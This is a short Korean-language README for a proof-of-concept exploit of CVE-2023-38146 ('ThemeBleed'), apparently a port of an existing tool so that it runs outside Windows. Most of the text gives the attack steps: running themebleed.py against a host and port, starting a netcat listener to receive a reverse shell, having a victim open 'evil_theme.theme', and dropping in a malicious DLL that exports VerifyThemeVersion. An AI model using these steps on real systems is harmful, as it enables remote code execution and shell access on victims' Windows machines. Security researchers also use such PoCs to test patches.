
Better POC
https://github.com/gabe-k/themebleed 에서 많은 영감을 받았으며, 해당 도구는 Windows에서만 실행됩니다 (이것이 제가 작성하게 된 이유입니다).
impacket smbserver.py (https://github.com/fortra/impacket/blob/master/impacket/smbserver.py) 의 수정된 코드를 사용했습니다.
블로그 게시물: https://jnns.de/posts/cve-2023-38146-poc/
필요 패키지를 설치하고 애플리케이션을 실행합니다:
pip3 install -r requirements.txt
python3 themebleed.py -r HOST -p 4711
# 다른 셸에서 nc 리스너 시작
rlwrap -cAr nc -lvnp 4711
취약한 시스템에서 "evil_theme.theme" 또는 "evil_theme.themepack"을 사용하세요.
성공!
"./td/" 폴더에 "VerifyThemeVersion" 내보내기 함수가 포함된 DLL을 "Aero.msstyles_vrf_evil.dll" 이름으로 배치하세요. Google을 사용하거나 제 예제(https://github.com/Jnnshschl/ThemeBleedReverseShellDLL)를 통해 예제 DLL을 찾을 수 있습니다.
pip3 install -r requirements.txt
python3 themebleed.py -r HOST --no-dll
# 다른 셸에서 nc 리스너 시작
rlwrap -cAr nc -lvnp 4711